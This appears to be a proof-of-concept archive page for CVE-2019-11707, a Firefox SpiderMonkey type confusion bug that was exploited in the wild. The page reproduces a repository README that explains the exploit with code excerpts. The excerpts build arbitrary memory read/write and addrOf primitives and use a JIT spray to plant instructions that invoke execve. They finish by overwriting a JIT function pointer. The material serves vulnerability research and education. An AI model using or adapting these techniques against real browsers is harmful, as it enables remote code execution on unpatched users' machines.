Associated Vulnerability
Title:Mozilla Firefox 代码问题漏洞 (CVE-2019-11707)Description:A type confusion vulnerability can occur when manipulating JavaScript objects due to issues in Array.pop. This can allow for an exploitable crash. We are aware of targeted attacks in the wild abusing this flaw. This vulnerability affects Firefox ESR < 60.7.1, Firefox < 67.0.3, and Thunderbird < 60.7.2.
Description
https://bugs.chromium.org/p/project-zero/issues/detail?id=1820
Readme
# SpiderMonkey - CVE-2019-11707
Bug: https://bugs.chromium.org/p/project-zero/issues/detail?id=1820
## Screenshots


## Files
- `exploit.js` - Actual exploit, prepended by saelo's `util.js` & `Int64.js`.
- `stager.js` - Used for creating constants, prepended by saelo's `util.js` & `Int64.js`.
- `stager.py` - Used to assemble instructions using keystone. Output is fed to `stager.js`.
## Exploit Overview
- Use the type confusion to write beyond a typed array buffer (done in `setup()`).
```javascript
const exploit_pack = [
new Uint8Array(0x10),
new Uint8Array(0x10), // Use this [:8] to control data pointer of below array
new Uint8Array(0x10), // Arbitrary RW array
]
```
- TLDR: Write beyond `exploit_pack[0]`'s backing buffer to data pointer field
of `exploit_pack[1]`. Point it to address of data pointer field of `exploit_pack[2]`.
```javascript
// setup()
const v11 = v4.pop();
const addr = v11[11];
v11[11] = Add(new Int64.fromDouble(addr), 0x58).asDouble();
```
- Arbitrary RW possible, address can be set as contents of `exploit_pack[1]` which
internally modifies data pointer of `exploit_pack[2]`. Then use `exploit_pack[2]` to
read or write memory.
```javascript
function read(ptr) {
read_addr = new Int64(ptr);
// Change data pointer of exploit_pack[2]
for (var idx=0; idx < 8; idx++) {
exploit_pack[1][idx] = read_addr.byteAt(idx);
}
let bytes = exploit_pack[2].slice(0, 8);
// Remove 0xfffe in pointer
// bytes[7] = 0x00; bytes[6] = 0x00;
obj_addr = new Int64(bytes);
// console.log(obj_addr);
return obj_addr;
// console.log(new Int64(obj_addr));
}
function write(ptr, value) {
let addr = new Int64(ptr);
let bytes = new Int64(value);
// Change data pointer of exploit_pack[2]
for (var idx=0; idx < 8; idx++) {
exploit_pack[1][idx] = addr.byteAt(idx);
}
for (var idx=0; idx < 8; idx++) {
exploit_pack[2][idx] = bytes.byteAt(idx);
}
}
```
- Using `exploit_pack` itself, construct a `addrOf` primitive.
```javascript
function addrOf(obj) {
exploit_pack[3] = obj;
// Change data pointer of exploit_pack[2]
for (var idx=0; idx < 8; idx++) {
exploit_pack[1][idx] = leaking_addr.byteAt(idx);
}
let bytes = exploit_pack[2].slice(0, 8);
// Remove 0xfffe in pointer
bytes[7] = 0x00; bytes[6] = 0x00;
obj_addr = new Int64(bytes);
// console.log(obj_addr);
return obj_addr;
// console.log(new Int64(obj_addr));
}
```
- Do a baseline JIT spray, traverse some structures to get jit function pointer,
find interesting offset to jump. Overwrite the actual function pointer with this offset.
### JIT Spray
- In short, we can force functions like below into `r-x` pages.
```javascript
const stager = function (a, b, c, d) {
const rax = a;
const rdi = b;
const rsi = c;
const rdx = d;
const g0 = 9.073632937307107e-271;
const g1 = 1.6063957816990143e-270;
const g2 = 1.6082444981830348e-270;
const g3 = 1.6100929890177583e-270;
const g4 = 1.6119413952339954e-270;
const g5 = 1.68020602465e-313;
}
```
- This looks something like below after jit. You can see our constant `0xdeadc0debaad`.

```asm
gef➤ disas /r 0x0000085a6e604531,+20
Dump of assembler code from 0x85a6e604531 to 0x85a6e604545:
0x0000085a6e604531: 49 bb 80 ad ba de c0 ad de 07 movabs r11,0x7deadc0debaad80
0x0000085a6e60453b: 4c 89 5d a8 mov QWORD PTR [rbp-0x58],r11
0x0000085a6e60453f: 49 bb c0 48 8b 44 24 28 eb 07 movabs r11,0x7eb2824448b48c0
End of assembler dump.
```
- If same bytes are started to be parsed as instructions from a different offset like below,
everything changes. This is essense of JIT spray.

```asm
gef➤ disas /r 0x0000085a6e604542,+10
Dump of assembler code from 0x85a6e604542 to 0x85a6e604556:
0x0000085a6e604542: 48 8b 44 24 28 mov rax,QWORD PTR [rsp+0x28]
0x0000085a6e604547: eb 07 jmp 0x85a6e604550
End of assembler dump.
```
- Idea is to work around `4c 89 5d XX 49 bb 00` bytes somehow with 7 bytes that we control.
We can jump over these bytes using a relative jmp.
```bash
$ rasm2 -a x86 -b 64 "jmp 7"
eb05
```
- So a relative jmp takes 2 bytes, we have 5 bytes to write our assembly instructions. JIT
function parameters are available at an offset on stack when our function is called. Hence
our JIT function was taking parameters.

- As per X86-64 calling convention for syscalls on linux, we need following things in registers
for a `execve` syscall.
```
rax: syscall number
rdi: program path
rsi: argv
rdx: envp
```
- Following `mov` instructions are a blessing to move values from an offset on stack to relevant
registers. It is exactly of 5 bytes.
```bash
$ rasm2 -a x86 -b 64 "mov rdi, QWORD [rsp + 0x28]"
488b442428
```
- So, we can construct our constants. Refer to `stager.py -> stager.js` to see how those were
generated.
- Just overwrite the actual JIT function pointer in object structure and replace it with offset.
Call the function with parameters.
```javascript
write(jitGetter, jmpOffset);
stager(
new Int64(59).asDouble(),
new Int64(pathAddr).asDouble(),
new Int64(argvBufferAddr).asDouble(),
new Int64(environBufferAddr).asDouble());
```
- Given the way stager is written, it is easy to do any syscall, with 3 arguments.
[source]: https://ftp.mozilla.org/pub/firefox/releases/66.0.3/
## Super Useful links
- https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/
- https://doar-e.github.io/blog/2019/06/17/a-journey-into-ionmonkey-root-causing-cve-2019-9810/
- https://vigneshsrao.github.io/writeup/
- https://github.com/saelo/jscpwn
File Snapshot
[4.0K] /data/pocs/173d52b5f7facf6ebb2a12f0251dc79b5b92c858
├── [ 12K] exploit.js
├── [5.7K] README.md
├── [4.0K] screenshots
│ ├── [ 70K] actual_jit.png
│ ├── [111K] exploit.png
│ ├── [ 55K] offset_jit.png
│ ├── [ 47K] registers.png
│ └── [139K] source.png
├── [7.1K] stager.js
└── [1.1K] stager.py
1 directory, 9 files
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →